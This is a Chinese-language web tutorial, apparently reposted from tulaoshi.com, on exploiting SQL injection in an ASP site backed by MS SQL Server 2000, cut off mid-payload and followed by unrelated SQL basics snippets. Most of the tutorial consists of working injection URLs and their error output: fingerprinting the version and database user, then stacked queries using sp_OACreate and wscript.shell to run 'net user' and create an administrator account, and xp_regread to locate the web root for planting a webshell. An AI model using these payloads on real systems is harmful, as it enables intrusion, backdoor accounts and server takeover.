榨干MS SQL Server 最后一滴血

2016-01-29 16:22 5 1 收藏

榨干MS SQL Server 最后一滴血,榨干MS SQL Server 最后一滴血

【 tulaoshi.com - SQLServer 】

 

  风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。

  以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。

  MS SQL内置函数介绍:

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/sqlserver/)

  @@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name() 得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称

  这些信息有助我们对系统进行简单的了解

  好,下面我们就开始吧!

  语句:

http://www.xxx.com/list.asp?classid=1'

  返回信息:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未闭合的引号。 /list.asp,行290 

  从这里未闭合的引号(“’”),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利用以上介绍的函数为我们工作了:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<(select @@version)

  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290 

  相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,从MS SQL SERVER 后面的8.00.760可看出是SP3补丁。看了服务器的信息,接下应该了解数据库的权限了:

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/sqlserver/)

  语句:

http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’

  返回: 正常返回的信息

  确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用户。

  返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<(select user_name())

  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290 

  说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。

  语句:http://www.xxx.com/list.asp?classid=1 and 0<(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

  这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT ADMIN,拿NT ADMIN就要用到:

  MSSQL内置存储过程:

  sp_OACreate (通过它,危害很得更大,但是需要有SYSADMINS权限才可能使用) sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop

  由于MS SQL一次可以执行多语句,使得我们有机会使用更多的语句。

  语句:

http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe /c net user cntest chinatest /add'

  正常返回。(提示:如果主机上shell存在的话那将在服务器上创建一个cntest的用户)

  创建用户了,语句后再加个net localgroup administrators cntest /add加到管理组中。 如果对方的机子开着3389端口,或IPC的话,那接下来的事,就不用我多说了。

  遇到专业型主机,只开一个80端口,那应该怎么办呢?当然,我们还是可能拿到WEBSHELL,再慢慢渗透的。

  由于权限高,我们可能先建表,写入ASP木马的数据再通过MAKEWEBTASK,得到WEBSEHLL.手工写入的程序太过于繁锁,上传WEBSHELL最大的问题还是网页目录,现在网上已经有现成的工具通过BACKUP,和MASKWEBTASK的工具得到WEBSHELL了。以下推荐,获取网页路径(通过存储过程达到对注册表的读取):

  利用内置存储过程 xp_regread(读取注册表键值,权限public):

  语句:

http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEMCurrentCo

来源:http://www.tulaoshi.com/n/20160129/1498432.html

延伸阅读
1.3.4 Profiler SQL Server Profiler 是一个图形化的管理工具用于监督记录和检查SQL Server 数据库的使用情况对系统管理员来说它是一个监视用户活动的间谍 1.3.5 Client Network Utility SQL Server Client Network Utility 用于配置客户端的连接测定网络库的版本信息以及设定本地数据库的相关选项 1.3.6 Server Netwo...
(三)用SQL来合并查询 你是否曾经为了得到所需要的信息而反复查询?子选择,也被称为子查询,也许正是你在寻找的。SQL的这项功能使你可以在一组结果中查询,创造性地给结果组加以限定,或是在向数据库的单一调用中将结果与一个无关系的查询做相关。这篇文章中我将给出几个子选择的例子并就何时使用他们进行讨论。 在一个结果组中...
(八)数值数据类型 SQL92标准定义了若干种基本数据类型,它们是SQL数据库中各种数据类型的基础。在《字符串数据类型》一文中,我们已经详细讨论了SQL92标准所定义的字符串数据类型。现在,我们来进一步讨论数值数据类型。 你最好开始尝试使用不同数据库实现方法并在它们传递数据,这样可以加深你对数值数据类型的理解。本文将给...
(五)创建和修改表格 再次欢迎您来到SQL(结构化查询语言)基础系列教程。本文将介绍数据库定义语言(DDL)用于创建数据库和表格以及修改表格结果的指令。 当你使用这些指令时一定要小心——它很容易删去你的数据库中的主要结构令您丢失数据。所以,在您开始修改数据库之前,您需要知道数据库是什么。 -------------------------...
(七)从子表里删除数据 在这篇文章里我要描述一下如何从表格里删除列,要删除的这些列同时还要依赖于其他表格的标准。要解决这个问题就需要一个很聪明而且完全遵守SQL92子查询声明的应用程序。 我必须提醒读者的是,尽管查询可能会遵守SQL的标准,但是众多的数据库生产商会以不同的句法支持实现SQL。以下这个解决方案应该适合于...

经验教程

297

收藏

50
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部